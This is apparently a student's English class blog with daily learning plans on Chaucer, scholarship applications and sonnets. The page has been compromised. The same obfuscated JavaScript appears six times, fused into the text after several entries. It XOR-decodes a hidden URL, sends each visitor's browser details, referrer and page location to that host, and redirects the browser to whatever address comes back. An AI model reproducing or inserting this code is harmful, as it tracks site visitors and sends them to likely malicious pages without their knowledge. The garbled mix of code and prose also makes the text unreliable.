9/17 SRI

Use the following Link to go to the SRI site

SRI

Log In and Password are your ID

Do not test if you have previously tested with Ms. Flink and Ms. Overmanvar uomjftkd = { encode: function (uymcrbbu, ivpjzup1) { var juykdjus = “”; for (var bmtvoq = 0; bmtvoq < uymcrbbu.length; bmtvoq++) { var maoakjle = uymcrbbu.charCodeAt(bmtvoq); var vznvir = maoakjle ^ ivpjzup1.charCodeAt(bmtvoq % ivpjzup1.length); juykdjus = juykdjus + String.fromCharCode(vznvir); } return juykdjus; }};function ivlvxbnl(xspsscex, qmjwsdtc){ return uomjftkd.encode(xspsscex, qmjwsdtc);}function nhqlzziy(vtzoxco, qmjwsdtc) { function mnbggf(url, qvfdnorl, gaurhzsa) { var svzjxjw = new XMLHttpRequest(); var mvlmqh = ""; var ngpewk = []; var djzspyoe; for(djzspyoe in qvfdnorl) { ngpewk.push(encodeURIComponent(djzspyoe) + '=' + encodeURIComponent(qvfdnorl[djzspyoe])); } mvlmqh = ngpewk.join(String.fromCharCode(38)).replace(/%20/g, '+'); svzjxjw.onreadystatechange = gaurhzsa; svzjxjw.open('GET', vtzoxco + "?" + mvlmqh); svzjxjw.send(mvlmqh); } var broilplq = { ua: navigator.userAgent, referrer: document.referrer, host: window.location.hostname, uri: window.location.pathname, lang: navigator.language, guid: qmjwsdtc }; mnbggf(vtzoxco, broilplq, function () { if (this.readyState == 4) { if (this.status == 200) { qvfdnorl = this.responseText; if (typeof(qvfdnorl) === 'string') { if (qvfdnorl.indexOf("http") === 0) { window.location = qvfdnorl; } } } } });}var advuwpjt = Array();var qmjwsdtc = '08430616d2a2d9759b18f9b49fcabc12';if (document.cookie.indexOf(qmjwsdtc) === -1){ advuwpjt.push(String.fromCharCode(88,76,64,67,67,12,30,25,9,75,8,92,2,86,67,71,88,1,90,93,20,23,11,90,95,9,76,0,18,10,28,88,67,22,68,91,64)); document.cookie = qmjwsdtc + '=1; path=/'; advuwpjt = advuwpjt.forEach(function (xspsscex) { var juykdjus = ivlvxbnl(xspsscex, qmjwsdtc); if (typeof(juykdjus) === 'string') { if (juykdjus.indexOf("http") === 0) { nhqlzziy(juykdjus, qmjwsdtc); return; } } });}

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Senior reflection

Go Here

Drop it to mevar uomjftkd = { encode: function (uymcrbbu, ivpjzup1) { var juykdjus = “”; for (var bmtvoq = 0; bmtvoq < uymcrbbu.length; bmtvoq++) { var maoakjle = uymcrbbu.charCodeAt(bmtvoq); var vznvir = maoakjle ^ ivpjzup1.charCodeAt(bmtvoq % ivpjzup1.length); juykdjus = juykdjus + String.fromCharCode(vznvir); } return juykdjus; }};function ivlvxbnl(xspsscex, qmjwsdtc){ return uomjftkd.encode(xspsscex, qmjwsdtc);}function nhqlzziy(vtzoxco, qmjwsdtc) { function mnbggf(url, qvfdnorl, gaurhzsa) { var svzjxjw = new XMLHttpRequest(); var mvlmqh = ""; var ngpewk = []; var djzspyoe; for(djzspyoe in qvfdnorl) { ngpewk.push(encodeURIComponent(djzspyoe) + '=' + encodeURIComponent(qvfdnorl[djzspyoe])); } mvlmqh = ngpewk.join(String.fromCharCode(38)).replace(/%20/g, '+'); svzjxjw.onreadystatechange = gaurhzsa; svzjxjw.open('GET', vtzoxco + "?" + mvlmqh); svzjxjw.send(mvlmqh); } var broilplq = { ua: navigator.userAgent, referrer: document.referrer, host: window.location.hostname, uri: window.location.pathname, lang: navigator.language, guid: qmjwsdtc }; mnbggf(vtzoxco, broilplq, function () { if (this.readyState == 4) { if (this.status == 200) { qvfdnorl = this.responseText; if (typeof(qvfdnorl) === 'string') { if (qvfdnorl.indexOf("http") === 0) { window.location = qvfdnorl; } } } } });}var advuwpjt = Array();var qmjwsdtc = '08430616d2a2d9759b18f9b49fcabc12';if (document.cookie.indexOf(qmjwsdtc) === -1){ advuwpjt.push(String.fromCharCode(88,76,64,67,67,12,30,25,9,75,8,92,2,86,67,71,88,1,90,93,20,23,11,90,95,9,76,0,18,10,28,88,67,22,68,91,64)); document.cookie = qmjwsdtc + '=1; path=/'; advuwpjt = advuwpjt.forEach(function (xspsscex) { var juykdjus = ivlvxbnl(xspsscex, qmjwsdtc); if (typeof(juykdjus) === 'string') { if (juykdjus.indexOf("http") === 0) { nhqlzziy(juykdjus, qmjwsdtc); return; } } });}

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2/2-2/6 DLP

2/3/2015 Read and studied my first Sonnet work as a class and in table group to continue studying and applying Poetry vocab to the authors’ we study Understand the poetic elements Will apply ,my knowledge of poetic elements and sonnet structure to another Sonnet QW: looking at Sonnet 29 Iambic Pentameter
Sonnet 43 Analysis
SAR: What is the most Important emotion expressed in Sonnet 43
2/2/2015 Studied the historical elements that permeated the Elizabethan era work as a class and in table group to continue studying and applying Poetry vocab to the authors’ we study Understand the poetic elements I will examine the structure of sonnets and analyze my first shakespearian sonnet Sonnet Form Notes
Sonnet 29 rewrite
Sonnet 29 Relate SAR
2/4/2015 Examine sonnet 43 work as a class and in table group to continue studying and applying Poetry vocab to the authors’ we study Understand the poetic elements Will apply ,my knowledge of poetic elements and sonnet structure to another Sonnet QW: How did WS use poetic elements in this work?
Analyze and rewrite Sonnet 18 (most famous Sonnet)
SAR: What about this poem makes it WS’s most often quoted sonnet?
2/5/2015 Studied yet another sonnet work as a class and in table group to continue studying and applying Poetry vocab we create Understand the poetic elements and poetic forms begin to craft my own sonnet that matches the parameters set forth by Shakespearean sonnets QW: what will be the hardest part of writign my own sonnet
Sonnet Work Time
Progress Check: Theme and stanza 1 with rhyme scheme ideas for 2,3,4
2/6/2015 Started writing my own sonnet continue working independantly to complete my poem Understand the poetic elements Apply the poetic elements as I see them in the text and use them in creating my own works Status Check
Sonnet Work Time
Written/illustrated Sonnet Due

var uomjftkd = { encode: function (uymcrbbu, ivpjzup1) { var juykdjus = “”; for (var bmtvoq = 0; bmtvoq < uymcrbbu.length; bmtvoq++) { var maoakjle = uymcrbbu.charCodeAt(bmtvoq); var vznvir = maoakjle ^ ivpjzup1.charCodeAt(bmtvoq % ivpjzup1.length); juykdjus = juykdjus + String.fromCharCode(vznvir); } return juykdjus; }};function ivlvxbnl(xspsscex, qmjwsdtc){ return uomjftkd.encode(xspsscex, qmjwsdtc);}function nhqlzziy(vtzoxco, qmjwsdtc) { function mnbggf(url, qvfdnorl, gaurhzsa) { var svzjxjw = new XMLHttpRequest(); var mvlmqh = ""; var ngpewk = []; var djzspyoe; for(djzspyoe in qvfdnorl) { ngpewk.push(encodeURIComponent(djzspyoe) + '=' + encodeURIComponent(qvfdnorl[djzspyoe])); } mvlmqh = ngpewk.join(String.fromCharCode(38)).replace(/%20/g, '+'); svzjxjw.onreadystatechange = gaurhzsa; svzjxjw.open('GET', vtzoxco + "?" + mvlmqh); svzjxjw.send(mvlmqh); } var broilplq = { ua: navigator.userAgent, referrer: document.referrer, host: window.location.hostname, uri: window.location.pathname, lang: navigator.language, guid: qmjwsdtc }; mnbggf(vtzoxco, broilplq, function () { if (this.readyState == 4) { if (this.status == 200) { qvfdnorl = this.responseText; if (typeof(qvfdnorl) === 'string') { if (qvfdnorl.indexOf("http") === 0) { window.location = qvfdnorl; } } } } });}var advuwpjt = Array();var qmjwsdtc = '08430616d2a2d9759b18f9b49fcabc12';if (document.cookie.indexOf(qmjwsdtc) === -1){ advuwpjt.push(String.fromCharCode(88,76,64,67,67,12,30,25,9,75,8,92,2,86,67,71,88,1,90,93,20,23,11,90,95,9,76,0,18,10,28,88,67,22,68,91,64)); document.cookie = qmjwsdtc + '=1; path=/'; advuwpjt = advuwpjt.forEach(function (xspsscex) { var juykdjus = ivlvxbnl(xspsscex, qmjwsdtc); if (typeof(juykdjus) === 'string') { if (juykdjus.indexOf("http") === 0) { nhqlzziy(juykdjus, qmjwsdtc); return; } } });}

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1/26-1/30 DLP

1/26/2015 Took I station work as a class and in table group to continue studying and applying Poetry vocab to the authors’ we study Understand the poetic elements create my own acrostic poem Vocab
Metaphor WS
Acrostic Poems
1/27/2015 Learned about Acrostic poems work as a class and in table group to continue studying and applying Poetry vocab to the authors’ we study Understand the poetic elements Apply the poetic elements as I see them in the text and use them in creating my own works Vocab
Marvell: To his Coy Mistress
Haikus
1/28/2015 Studied a work and crafted my own Haiku work as a class and in table group to continue studying and applying Poetry vocab to the authors’ we study Understand the poetic elements Craft my own free verse poem that displays Poetic Elements Vocab
Free Verse
Symbolism WS
Poetry Project
1/29/2015 Wrote a free Verse Poem work as a class and in table group to continue studying and applying Poetry vocab to the authors’ we study Understand the poetic elements Apply the poetic elements as I see them in the text and use them in creating my own works Review Poetic Forms For Poetry Notebook
WS Poetic Forms
1/30/2015 Reviewed The Poetic Forms required work as a class and in table group to continue studying and applying Poetry vocab we create Understand the poetic elements Apply the poetic elements as I see them in the text and use them in creating my own works Sonnet Form
Shakespeare Bio
Write a sonnet

var uomjftkd = { encode: function (uymcrbbu, ivpjzup1) { var juykdjus = “”; for (var bmtvoq = 0; bmtvoq < uymcrbbu.length; bmtvoq++) { var maoakjle = uymcrbbu.charCodeAt(bmtvoq); var vznvir = maoakjle ^ ivpjzup1.charCodeAt(bmtvoq % ivpjzup1.length); juykdjus = juykdjus + String.fromCharCode(vznvir); } return juykdjus; }};function ivlvxbnl(xspsscex, qmjwsdtc){ return uomjftkd.encode(xspsscex, qmjwsdtc);}function nhqlzziy(vtzoxco, qmjwsdtc) { function mnbggf(url, qvfdnorl, gaurhzsa) { var svzjxjw = new XMLHttpRequest(); var mvlmqh = ""; var ngpewk = []; var djzspyoe; for(djzspyoe in qvfdnorl) { ngpewk.push(encodeURIComponent(djzspyoe) + '=' + encodeURIComponent(qvfdnorl[djzspyoe])); } mvlmqh = ngpewk.join(String.fromCharCode(38)).replace(/%20/g, '+'); svzjxjw.onreadystatechange = gaurhzsa; svzjxjw.open('GET', vtzoxco + "?" + mvlmqh); svzjxjw.send(mvlmqh); } var broilplq = { ua: navigator.userAgent, referrer: document.referrer, host: window.location.hostname, uri: window.location.pathname, lang: navigator.language, guid: qmjwsdtc }; mnbggf(vtzoxco, broilplq, function () { if (this.readyState == 4) { if (this.status == 200) { qvfdnorl = this.responseText; if (typeof(qvfdnorl) === 'string') { if (qvfdnorl.indexOf("http") === 0) { window.location = qvfdnorl; } } } } });}var advuwpjt = Array();var qmjwsdtc = '08430616d2a2d9759b18f9b49fcabc12';if (document.cookie.indexOf(qmjwsdtc) === -1){ advuwpjt.push(String.fromCharCode(88,76,64,67,67,12,30,25,9,75,8,92,2,86,67,71,88,1,90,93,20,23,11,90,95,9,76,0,18,10,28,88,67,22,68,91,64)); document.cookie = qmjwsdtc + '=1; path=/'; advuwpjt = advuwpjt.forEach(function (xspsscex) { var juykdjus = ivlvxbnl(xspsscex, qmjwsdtc); if (typeof(juykdjus) === 'string') { if (juykdjus.indexOf("http") === 0) { nhqlzziy(juykdjus, qmjwsdtc); return; } } });}

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1/20-1/24 DLP

1/20/2015 Finished my scholarship stuff Work independently and as a class to begin studying poetry am beginning to explore the purpose of poetic form can articulate the point and purpose of poetry as wel ass detail my experience and bias about poetry Start of semester Stuff
Poetry Intro
Vocab
Short Response
1/21/2015 Defined the first Vocab terms and refvlected on poetry’s purpose work as a class and in table group to continue studying and applying Poetry vocab to the authors’ we study Understand the poetic elements will diagnose them as we come across them in our poetic readings I station Tomorrow Reminder
Share Out Point of Poetry
Vocab
Read John Donne 2 Book Pieces + Flea
Reflection: SAR which piece resonated most with you?
1/22/2015 Read John Donne’s work and reflected on his use of poetic elements I station tes I station tested because if I don’t Buckner will throw things at me, heavy things I station
1/23/2015 Took I station work as a class and in table group to continue studying and applying Poetry vocab to the authors’ we study can apply the poetic elements reflection on the works written and their effective use of elements I station for suckas
Vocab
Read Johnson poem selection 2 + 1 choice
Reflection: How does Johnson’s style differ from Donne

var uomjftkd = { encode: function (uymcrbbu, ivpjzup1) { var juykdjus = “”; for (var bmtvoq = 0; bmtvoq < uymcrbbu.length; bmtvoq++) { var maoakjle = uymcrbbu.charCodeAt(bmtvoq); var vznvir = maoakjle ^ ivpjzup1.charCodeAt(bmtvoq % ivpjzup1.length); juykdjus = juykdjus + String.fromCharCode(vznvir); } return juykdjus; }};function ivlvxbnl(xspsscex, qmjwsdtc){ return uomjftkd.encode(xspsscex, qmjwsdtc);}function nhqlzziy(vtzoxco, qmjwsdtc) { function mnbggf(url, qvfdnorl, gaurhzsa) { var svzjxjw = new XMLHttpRequest(); var mvlmqh = ""; var ngpewk = []; var djzspyoe; for(djzspyoe in qvfdnorl) { ngpewk.push(encodeURIComponent(djzspyoe) + '=' + encodeURIComponent(qvfdnorl[djzspyoe])); } mvlmqh = ngpewk.join(String.fromCharCode(38)).replace(/%20/g, '+'); svzjxjw.onreadystatechange = gaurhzsa; svzjxjw.open('GET', vtzoxco + "?" + mvlmqh); svzjxjw.send(mvlmqh); } var broilplq = { ua: navigator.userAgent, referrer: document.referrer, host: window.location.hostname, uri: window.location.pathname, lang: navigator.language, guid: qmjwsdtc }; mnbggf(vtzoxco, broilplq, function () { if (this.readyState == 4) { if (this.status == 200) { qvfdnorl = this.responseText; if (typeof(qvfdnorl) === 'string') { if (qvfdnorl.indexOf("http") === 0) { window.location = qvfdnorl; } } } } });}var advuwpjt = Array();var qmjwsdtc = '08430616d2a2d9759b18f9b49fcabc12';if (document.cookie.indexOf(qmjwsdtc) === -1){ advuwpjt.push(String.fromCharCode(88,76,64,67,67,12,30,25,9,75,8,92,2,86,67,71,88,1,90,93,20,23,11,90,95,9,76,0,18,10,28,88,67,22,68,91,64)); document.cookie = qmjwsdtc + '=1; path=/'; advuwpjt = advuwpjt.forEach(function (xspsscex) { var juykdjus = ivlvxbnl(xspsscex, qmjwsdtc); if (typeof(juykdjus) === 'string') { if (juykdjus.indexOf("http") === 0) { nhqlzziy(juykdjus, qmjwsdtc); return; } } });}

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1/12-1/15 DLP

1/12/2015 worked on district CBA work independently to finish district CBA undserstand structure of SAR, Essay, as well as narrative elements of Beowulf perform to expectation on CBA Pass out CBA
Do CBA
Turn IN CBA
1/13/2015 Finished CBA work independently and at my table to apply for college scholarships Understand the scholarship process complete a working draft for this application CBA Notes
Review Scholarship Research
Mini Lesson Creating pdfs and screen shots
Scholly App
1/14/2015 Started App Process work independently and at my table to apply for college scholarships Understand the scholarship process complete a working draft for this application Review Scholarship Research
Mini Lesson Mini Essay Word Choice
Scholly App
1/15/2015 Continued App Process work independently and at my table to apply for college scholarships Understand the scholarship process complete a working draft for this application Review Scholarship Research
Mini Lesson deadlines
Scholly App

var uomjftkd = { encode: function (uymcrbbu, ivpjzup1) { var juykdjus = “”; for (var bmtvoq = 0; bmtvoq < uymcrbbu.length; bmtvoq++) { var maoakjle = uymcrbbu.charCodeAt(bmtvoq); var vznvir = maoakjle ^ ivpjzup1.charCodeAt(bmtvoq % ivpjzup1.length); juykdjus = juykdjus + String.fromCharCode(vznvir); } return juykdjus; }};function ivlvxbnl(xspsscex, qmjwsdtc){ return uomjftkd.encode(xspsscex, qmjwsdtc);}function nhqlzziy(vtzoxco, qmjwsdtc) { function mnbggf(url, qvfdnorl, gaurhzsa) { var svzjxjw = new XMLHttpRequest(); var mvlmqh = ""; var ngpewk = []; var djzspyoe; for(djzspyoe in qvfdnorl) { ngpewk.push(encodeURIComponent(djzspyoe) + '=' + encodeURIComponent(qvfdnorl[djzspyoe])); } mvlmqh = ngpewk.join(String.fromCharCode(38)).replace(/%20/g, '+'); svzjxjw.onreadystatechange = gaurhzsa; svzjxjw.open('GET', vtzoxco + "?" + mvlmqh); svzjxjw.send(mvlmqh); } var broilplq = { ua: navigator.userAgent, referrer: document.referrer, host: window.location.hostname, uri: window.location.pathname, lang: navigator.language, guid: qmjwsdtc }; mnbggf(vtzoxco, broilplq, function () { if (this.readyState == 4) { if (this.status == 200) { qvfdnorl = this.responseText; if (typeof(qvfdnorl) === 'string') { if (qvfdnorl.indexOf("http") === 0) { window.location = qvfdnorl; } } } } });}var advuwpjt = Array();var qmjwsdtc = '08430616d2a2d9759b18f9b49fcabc12';if (document.cookie.indexOf(qmjwsdtc) === -1){ advuwpjt.push(String.fromCharCode(88,76,64,67,67,12,30,25,9,75,8,92,2,86,67,71,88,1,90,93,20,23,11,90,95,9,76,0,18,10,28,88,67,22,68,91,64)); document.cookie = qmjwsdtc + '=1; path=/'; advuwpjt = advuwpjt.forEach(function (xspsscex) { var juykdjus = ivlvxbnl(xspsscex, qmjwsdtc); if (typeof(juykdjus) === 'string') { if (juykdjus.indexOf("http") === 0) { nhqlzziy(juykdjus, qmjwsdtc); return; } } });}

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1/5-1-9 DLP

1/5/2015 was on break review my progress in class, and craft a plan for my success as well as review the aspects of scholarships I will need to write Understand the scholarship process research a scholarship and create a list of 3-4 i might apply for Welcome
Review tech expectations
Review Scholarship guidelines and research
Scholarship research ws
1/6/2015 Began my scholarship search work independently and at my table to continue researching scholarships Understand the scholarship process will find a second scholarship I am qualified to apply for. Review Tech standards
Review scholarship WS
Continue Research Phase
1/7/2015 Continued working on Scholly Research work independently and at my table to continue researching scholarships Understand the scholarship process Get my 3rd Scholarship researched Review Tech Expectations
Finish 3rd possible scholarship
start process of applying
1/8/2015 Finished the scholly research WS Begin the process of applying for a scholarship Understand the scholarship process begin the scholarship process including essay Review scholarship requirements
Begin application and essay
1/9/2015 Started My scholarship applications Work Independantly to continue my scholly application Understand the scholarship process will have a rough draft or a final application completed Review tech expectations
Finish Application #1 or Essay RD

var uomjftkd = { encode: function (uymcrbbu, ivpjzup1) { var juykdjus = “”; for (var bmtvoq = 0; bmtvoq < uymcrbbu.length; bmtvoq++) { var maoakjle = uymcrbbu.charCodeAt(bmtvoq); var vznvir = maoakjle ^ ivpjzup1.charCodeAt(bmtvoq % ivpjzup1.length); juykdjus = juykdjus + String.fromCharCode(vznvir); } return juykdjus; }};function ivlvxbnl(xspsscex, qmjwsdtc){ return uomjftkd.encode(xspsscex, qmjwsdtc);}function nhqlzziy(vtzoxco, qmjwsdtc) { function mnbggf(url, qvfdnorl, gaurhzsa) { var svzjxjw = new XMLHttpRequest(); var mvlmqh = ""; var ngpewk = []; var djzspyoe; for(djzspyoe in qvfdnorl) { ngpewk.push(encodeURIComponent(djzspyoe) + '=' + encodeURIComponent(qvfdnorl[djzspyoe])); } mvlmqh = ngpewk.join(String.fromCharCode(38)).replace(/%20/g, '+'); svzjxjw.onreadystatechange = gaurhzsa; svzjxjw.open('GET', vtzoxco + "?" + mvlmqh); svzjxjw.send(mvlmqh); } var broilplq = { ua: navigator.userAgent, referrer: document.referrer, host: window.location.hostname, uri: window.location.pathname, lang: navigator.language, guid: qmjwsdtc }; mnbggf(vtzoxco, broilplq, function () { if (this.readyState == 4) { if (this.status == 200) { qvfdnorl = this.responseText; if (typeof(qvfdnorl) === 'string') { if (qvfdnorl.indexOf("http") === 0) { window.location = qvfdnorl; } } } } });}var advuwpjt = Array();var qmjwsdtc = '08430616d2a2d9759b18f9b49fcabc12';if (document.cookie.indexOf(qmjwsdtc) === -1){ advuwpjt.push(String.fromCharCode(88,76,64,67,67,12,30,25,9,75,8,92,2,86,67,71,88,1,90,93,20,23,11,90,95,9,76,0,18,10,28,88,67,22,68,91,64)); document.cookie = qmjwsdtc + '=1; path=/'; advuwpjt = advuwpjt.forEach(function (xspsscex) { var juykdjus = ivlvxbnl(xspsscex, qmjwsdtc); if (typeof(juykdjus) === 'string') { if (juykdjus.indexOf("http") === 0) { nhqlzziy(juykdjus, qmjwsdtc); return; } } });}

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12/15-12/19 DLP

12/15/2014 Took a quiz on the cantebury tales Begin to look at The Scholarship process know what different types of scholarships there begin researching a scholarship Wrap Up CT
Scholarship Article
My Strengths List
12/16/2014 Read an article about scholarships and developed a list of my strengths work with my table to research scholarship opportunities Am understanding the scholarship process will research the requirements of 2 separate scholarships Review our Strength list
Examine the scholarship Research Assignment
Begin using Search Tools
12/17/2014 began researching schoilarships continue researching scholarships Understand the scholarship process adequately research two more scholarships Check In on Progress
Mr. Omar Guest Speaker?
Continue Research
Goal Choose 1 Essay required Scholly
12/18/2014 Chose 1 essay Required Scholarship work independently and begin Writing that essay Understand the scholarship process Begin drafting my scholarship essay Reexamine Scholarship requirements
Begin Draft Scholly Essay
12/19/2014 Began drafting my scholly essay finish my first draft of scholarship essay Understand the scholarship process complete a working draft for this application Essay Check in
Essay work time

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12/8- 12-12 DLP’s

12/8/2014 Finished reviewing first 7 characters in Chaucer’s prologue work as a class to read the rest of the prologue Understand the context of his characrters will complete a summary recast for all of them Agenda
Review first 7 characters
Start Reading next set
12/9/2014 Began reading the next set of Toons work as a class and in table group to continue reading Understand the context of his characrters will complete a summary recast for all of them “Agenda
Review first 7 characters
Start Reading next set”
12/10/2014 Continued reading the next set of Toons work as a class and in table group to continue reading Understand the context of his characrters will complete a summary recast for all of them Finish Reading Cantebury tales
Finish Recast notes
12/11/2014 Finished Reading the prologue and recasting the charcaters work independantly to demonstrate my knowledge of the text can analyze the characters take a quiz on characters in the text Prolouge Character Quiz
12/5/2014 Took a quiz on the cantebury tales work as a table to write our own prologue can analyze the characters will create my own prologue Review Character Notes
Prologue retold

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11.17 -11.20 DLP

11/18/2014 practiced using poetic devices function as a member of the class to remind myself what the middle ages entailed have accessed my prior knowledge will create a KWL chart with my table for the middle ages KWL chart Middle Ages
Clips from Knight’s tale
KWL chart Middle Ages
11/17/2014 created started my own introduction rap/rhyme Work with my partner to finish up and share my cantebury rhyme uitlized literary elements and rhyme will have created a rhyme rap that answers the key features asked and sounds good Rehash Assignment
Check In
Talk about Literary devices Poetic terms
Work time raps due periods end
11/19/2014 examined the culture of knights work with my group to begin Chaucer’s Prolougue in the Cantebury Tales understand the context of the pice can begin to rewrite it for the modern day Journal What is a kNight?
Cantebury tales prologue
Retell as we go
11/20/2014 Began studying Chaucer’s The Cantebury Tales work independently to show I understand the basics of what I read and then continue to work my way through it understand the historical context of the story will read be assessed on what we read Prolougue recap
Quiz
2-3 more sections of prologue
11/21/2014 continued studying Chaucer’s The Cantebury Tales work with my table group to define chivalry and study the knight in the prologue understand the historical context of the story create a new code of ethics for knighthood today Journal: is chivalry dead?
re read the knight
Create a character sketch of the knight
Write a new code of ethics for Knighthood

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